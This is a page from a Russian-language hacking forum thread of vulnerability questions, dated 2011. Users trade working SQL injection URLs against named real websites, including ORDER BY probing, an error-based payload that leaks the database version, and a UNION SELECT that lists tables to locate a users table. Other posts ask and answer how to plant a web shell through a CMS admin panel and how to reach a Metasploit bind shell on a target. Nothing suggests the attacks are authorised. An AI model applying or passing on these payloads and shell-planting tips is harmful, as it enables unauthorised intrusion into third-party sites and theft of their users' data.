HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1859 из 2438 « Первая < 8591359175918091849 1855 1856 1857 1858 1859 1860 1861 1862 1863 1869190919592359 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #18581  
Старый 17.11.2011, 01:20
Osstudio
Guest
Сообщений: n/a
Провел на форуме:
149611

Репутация: 81
По умолчанию
Цитата:
Сообщение от KolosJey  
KolosJey said:
s000r
Срань какая, прости господи )
Osstudio
я бы на твоём месте вообще перестал писать )
Тебя кто суда звал? Вот например из этой же серии:

Цитата:
Сообщение от None  
http://www.povituha.ru/news.php?id=62/*c*/order/*a*/by%281%29--
 
Ответить с цитированием

  #18582  
Старый 17.11.2011, 01:37
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401

Репутация: 0
По умолчанию
Цитата:
Сообщение от Osstudio  
Osstudio said:
Тебя кто суда звал? Вот например из этой же серии:
ничего там не фильтруется

http://www.povituha.ru/news.php?id=62+order+by+6--

http://www.povituha.ru/news.php?id=62+order+by+7--
 
Ответить с цитированием

  #18583  
Старый 17.11.2011, 01:40
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756

Репутация: 0
По умолчанию
Цитата:
Сообщение от Osstudio  
Osstudio said:
Тебя кто суда звал? Вот например из этой же серии:
Я тебе один раз объясню и больше не буду. Хочешь чему то научиться - учись. Не хочешь - продолжай писать и упираться рогами.

Цитата:
Сообщение от Osstudio  
Osstudio said:
(-1')order(by)10--
Вот это неверный синтаксис. И ничего кроме

Цитата:
Сообщение от None  
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
ты не получишь. Нельзя ставить by в скобки. Не говорю про кавычку в скобках, и как там должно быть реализовано в коде, фиг с ней ...

А вот это

Цитата:
Сообщение от Osstudio  
Osstudio said:
http://www.povituha.ru/news.php?id=62/*c*/order/*a*/by%281%29--
синтаксис нормальный, и разумеется он работает.

Всё это отлично докумментировано и расписано по 100 раз, но если читать лень можно поставить денвер и тупо пробывать, прежде чем советы давать
 
Ответить с цитированием

  #18584  
Старый 17.11.2011, 22:44
Osstudio
Guest
Сообщений: n/a
Провел на форуме:
149611

Репутация: 81
По умолчанию
Цитата:
Сообщение от d1v  
d1v said:
ничего там не фильтруется
http://www.povituha.ru/news.php?id=62+order+by+6--
http://www.povituha.ru/news.php?id=62+order+by+7--
дык знаю, просто и так и так работает всмысле. =/
 
Ответить с цитированием

  #18585  
Старый 18.11.2011, 01:16
jawbreaker
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
Провел на форуме:
1027635

Репутация: 234
По умолчанию
Как найти таблицу пользователей в БД?

Пробую так: http://seifi.ru/index.php?categoryID=781+UNION+SELECT+1+FROM+INFOR MATION_SCHEMA.TABLES

В ответ получаю

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name' at line 1 SQL query : select categoryID, name, brief_description, title_description, customers_rating, Price, in_stock, customer_votes, list_price, productID, default_picture, sort_order, items_sold, enabled, product_code, description, shipping_freight from SS_products where ( enabled=1 AND productID=1 ) OR ( enabled=1 AND categoryID=781 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name
 
Ответить с цитированием

  #18586  
Старый 18.11.2011, 05:33
nemaniak
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме:
1174919

Репутация: 229
По умолчанию
Цитата:
Сообщение от jawbreaker  
jawbreaker said:
Как найти таблицу пользователей в БД?
Пробую так:
http://seifi.ru/index.php?categoryID=781+UNION+SELECT+1+FROM+INFOR MATION_SCHEMA.TABLES
В ответ получаю
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name' at line 1 SQL query : select categoryID, name, brief_description, title_description, customers_rating, Price, in_stock, customer_votes, list_price, productID, default_picture, sort_order, items_sold, enabled, product_code, description, shipping_freight from SS_products where ( enabled=1 AND productID=1 ) OR ( enabled=1 AND categoryID=781 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name
надо закрыть скобку условия и отрубить остальную часть запроса каментом, но там либо скобка режеться, либо каменты, попробуй так

Код:
Code:
http://seifi.ru/index.php?categoryID=781+and+(select+1+from(select+count(*),concat((version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+--+
 
Ответить с цитированием

  #18587  
Старый 18.11.2011, 05:39
AppS
Познающий
Регистрация: 08.08.2009
Сообщений: 37
Провел на форуме:
162650

Репутация: 2
Отправить сообщение для AppS с помощью ICQ
По умолчанию
Не знаю сюда или нет, в общем суть такая, на сайте админка

Memento CMS 2, как залить шел возможно? могу заливать картинки;(
 
Ответить с цитированием

  #18588  
Старый 18.11.2011, 11:02
0o Chris o0
Guest
Сообщений: n/a
Провел на форуме:
43360

Репутация: 0
По умолчанию
Есть вопрос по metasploit'у. Если я использую начинку windows/shell_bind_tcp, а цель находится не в локальной сети и у нее динамический ip, как коннектиться к ней, каждый раз, когда у нее сменится ip?
 
Ответить с цитированием

  #18589  
Старый 18.11.2011, 16:34
aydin-ka
Новичок
Регистрация: 03.05.2009
Сообщений: 7
Провел на форуме:
102906

Репутация: -14
По умолчанию
Цитата:
Сообщение от AppS  
AppS said:
Не знаю сюда или нет, в общем суть такая, на сайте админка
Memento CMS 2, как залить шел возможно? могу заливать картинки;(
У тебя есть доступ в админку? если нет, то шелла не будет. Если есть...ищи гле можно редактировать Баннеры, шаблоны и т.д.
 
Ответить с цитированием

  #18590  
Старый 18.11.2011, 23:01
Kuteke
Guest
Сообщений: n/a
Провел на форуме:
60692

Репутация: 6
По умолчанию
Цитата:
Сообщение от jawbreaker  
jawbreaker said:
Как найти таблицу пользователей в БД?
Пробую так:
http://seifi.ru/index.php?categoryID=781+UNION+SELECT+1+FROM+INFOR MATION_SCHEMA.TABLES
В ответ получаю
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name' at line 1 SQL query : select categoryID, name, brief_description, title_description, customers_rating, Price, in_stock, customer_votes, list_price, productID, default_picture, sort_order, items_sold, enabled, product_code, description, shipping_freight from SS_products where ( enabled=1 AND productID=1 ) OR ( enabled=1 AND categoryID=781 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name
Ты table_name забыл

Код:
Code:
http://seifi.ru/index.php?categoryID=781+UNION+SELECT+table_name+FROM+INFORMATION_SCHEMA.TABLES
P.S.nemaniak, зачем все усложнять?
 
Ответить с цитированием
Ответ
Страница 1859 из 2438 « Первая < 8591359175918091849 1855 1856 1857 1858 1859 1860 1861 1862 1863 1869190919592359 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
 


Быстрый переход




ANTICHAT.XYZ